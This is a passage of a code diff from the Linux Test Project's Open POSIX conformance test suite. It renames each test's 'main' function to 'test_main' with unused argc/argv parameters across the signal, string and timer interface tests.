b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/4-1.c @@ -21,7 +21,7 @@ * 4) Verify this process will return when the signal is sent. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t newmask, pendingset; int sig; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c index 1d1fdded..de82f81a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-1.c @@ -106,7 +106,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; pthread_t ch[NTHREADS]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c index a1f49a65..d5ebe07d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/6-2.c @@ -108,7 +108,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; pthread_t ch[NTHREADS]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c index 4abc3371..1e3b0ad8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/7-1.c @@ -78,7 +78,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i, sig; long rts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/8-1.c index b4840e7b..f8fbc622 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwait/8-1.c @@ -20,7 +20,7 @@ * 4) Verify the return value and the 'sig' value is correct. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t newmask, pendingset; int sig; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c index 2449055c..a4953904 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/1-1.c @@ -31,7 +31,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c index 6983eda1..6e83bb8d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/2-1.c @@ -35,7 +35,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, printf("Inside dummy handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, rtsig; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/3-1.c index 3983a3db..8c522728 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/3-1.c @@ -31,7 +31,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Inside dummy handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c index 4e33fca3..26a4f5ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/5-1.c @@ -32,7 +32,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, printf("Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c index 197aae55..ebb8375b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/6-1.c @@ -32,7 +32,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, printf("Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c index 2ed4ca81..216abc59 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/7-1.c @@ -39,7 +39,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, counter++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, i; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c index f999aa37..527523d6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/8-1.c @@ -38,7 +38,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED, printf("Just a dummy handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, i; union sigval value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c index 97b06382..42eadee3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sigwaitinfo/9-1.c @@ -30,7 +30,7 @@ static void myhandler(int signo PTS_ATTRIBUTE_UNUSED) printf("Inside handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c index 2c304237..d7efa96e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strchr/1-1.c @@ -58,7 +58,7 @@ static char *random_string(int len, int char_pos) return output_string; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, char_pos; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c index f71cd387..e783fc92 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strcpy/1-1.c @@ -44,7 +44,7 @@ static char *random_string(int len) return output_string; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char *ret_str; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c index 4350edb8..bd1a168e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/1-1.c @@ -17,7 +17,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* current time */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/2-1.c index 9e94bd63..e2a098bc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/2-1.c @@ -18,7 +18,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* current time */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/3-1.c index 4ac2f075..3befafcd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strftime/3-1.c @@ -14,7 +14,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct tm *tm_ptr; time_t the_time; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c index 0ac99372..c587482d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strlen/1-1.c @@ -41,7 +41,7 @@ static char *random_string(int len) return output_string; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char *ret_str; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c index 55def092..222d9dfa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/1-1.c @@ -46,7 +46,7 @@ static char *random_string(int len) return output_string; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char *ret_str; int i, num_bytes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c index 1e4752d8..8c3c243c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/strncpy/2-1.c @@ -46,7 +46,7 @@ static char *random_string(int len) output_string[len] = '\0'; return output_string; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i, j, c; char *ret_str; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c index 645aff60..155ce3f9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c @@ -488,7 +488,7 @@ static unsigned int sc; static void *threaded(void *arg); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret = 0; pthread_t child; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/time/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/time/1-1.c index 395dc610..a0eef91b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/time/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/time/1-1.c @@ -16,7 +16,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { time_t current_time; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/1-1.c index 89a1cab8..6cf91b9b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/1-1.c @@ -39,7 +39,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/10-1.c index 9cec5d7d..3d9175ce 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/10-1.c @@ -28,7 +28,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) caught_signal = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if _POSIX_CPUTIME == -1 printf("_POSIX_CPUTIME not defined\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/11-1.c index 34afee0d..2b4eda21 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/11-1.c @@ -28,7 +28,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) caught_signal = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #if _POSIX_THREAD_CPUTIME == -1 printf("_POSIX_THREAD_CPUTIME not defined\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/16-1.c index e696c885..be481ec7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/16-1.c @@ -17,7 +17,7 @@ #define INVALIDCLOCKID 99999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/3-1.c index a843d02a..4ce52bb1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/3-1.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/7-1.c index d6c8d247..5e3f2fd8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/7-1.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef CLOCK_MONOTONIC if (sysconf(_SC_MONOTONIC_CLOCK) == -1) { diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/8-1.c index fe771a55..c0f1ea32 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/8-1.c @@ -53,7 +53,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Not expected - Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { timer_t tid; struct sigaction actp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/9-1.c index a6887938..cd657e35 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/9-1.c @@ -34,7 +34,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/15-1.c index 2f21aff8..275cce2c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/15-1.c @@ -26,7 +26,7 @@ #include <limits.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifdef TIMER_MAX struct sigevent ev; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/2-1.c index 0b800f58..4bc4ba7a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/2-1.c @@ -30,7 +30,7 @@ static int compare(const void *key, const void *amemb) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/5-1.c index a2c06f70..0ed11135 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_create/speculative/5-1.c @@ -47,7 +47,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-1.c index c4bfb490..a34a8996 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-1.c @@ -37,7 +37,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-2.c index 43a7c143..b9efae98 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/1-2.c @@ -26,7 +26,7 @@ #define SIGTOTEST SIGALRM #define TIMERSEC 3 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c index 4475d8c9..912cf580 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-1.c @@ -17,7 +17,7 @@ #define BOGUSTIMERID 99999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { timer_t tid; int tval = BOGUSTIMERID; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-2.c index e8f4459b..74eeb467 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_delete/speculative/5-2.c @@ -32,7 +32,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/1-1.c index 70fb9941..79e73ef2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/1-1.c @@ -36,7 +36,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-1.c index 88e152aa..458439da 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-1.c @@ -28,7 +28,7 @@ #define EXPECTEDOVERRUNS 2 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set; struct sigevent ev; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-2.c index 0284f2f0..8937f51b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-2.c @@ -31,7 +31,7 @@ #define EXPECTEDOVERRUNS 75 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sigset_t set; struct sigevent ev; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-3.c index 66f8b583..fb184721 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/2-3.c @@ -41,7 +41,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_REALTIME_SIGNALS printf("_POSIX_REALTIME_SIGNALS is not defined\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c index e7646daf..6e18560e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-1.c @@ -17,7 +17,7 @@ #define BOGUSTID 9999 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { timer_t tid; int tval = BOGUSTID; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-2.c index 6be70372..2d7f3967 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-2.c @@ -24,7 +24,7 @@ #define TIMERSEC 3 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-3.c index 8cb5dd8a..933a31dc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_getoverrun/speculative/6-3.c @@ -21,7 +21,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-1.c index e2f66e58..ec8d0352 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-1.c @@ -27,7 +27,7 @@ #define TIMERSEC 5 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-2.c index 0c39a6eb..51d6a55c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-2.c @@ -29,7 +29,7 @@ #define SLEEPSEC 2 #define ACCEPTABLEDELTA 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-3.c index 4b2d998c..43abd366 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-3.c @@ -29,7 +29,7 @@ #define SLEEPNSEC 400000000 #define ACCEPTABLEDELTA 30000000 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; timer_t tid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/timer_gettime/1-4.c index 